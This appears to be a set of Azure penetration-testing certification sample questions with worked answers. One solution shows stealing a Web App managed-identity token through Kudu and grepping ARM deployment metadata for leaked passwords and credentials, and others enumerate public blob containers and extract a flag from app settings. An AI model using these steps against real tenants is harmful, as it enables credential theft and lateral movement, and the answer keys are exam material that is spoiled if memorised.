CCPenX-Az Sample Questions Answers

Detailed Solution:

Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.

Test secret read:

az keyvault secret show \

--vault-name kv-finance-prod \

--name db-password \

--query value \

--output tsv

Expected failure:

Forbidden

Correct answer:

B. No, Contributor does not automatically grant Key Vault secret data-plane read

Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

================

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

For Windows PowerShell inside Kudu:

$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "

$response = Invoke-RestMethod -Uri $uri -Headers @{

" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "

$rg = " Excalibur-Resources "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

For each deployment name returned, inspect it:

$deploymentName = " < deployment-name > "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Also check deployment operations:

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H " Authorization: Bearer $TOKEN " \

" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api-version=2021-04-01 " \

| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag '

Final Answer:

Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab-generated.

================

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

Detailed Solution:

On an Azure VM with a system-assigned managed identity, run:

az login --identity

Then verify:

az account show

For a user-assigned managed identity, specify the client ID:

az login --identity --client-id < client-id >

Microsoft’s Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.

Correct answer:

B. az login --identity

================

Detailed Solution:

In Azure Storage SAS tokens, sp means signed permissions.

For blob/container access:

r = read

l = list

w = write

d = delete

c = create

a = add

Given:

sp=rl

The permissions are:

Read + List

Correct answer:

A. Read and List

SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.

================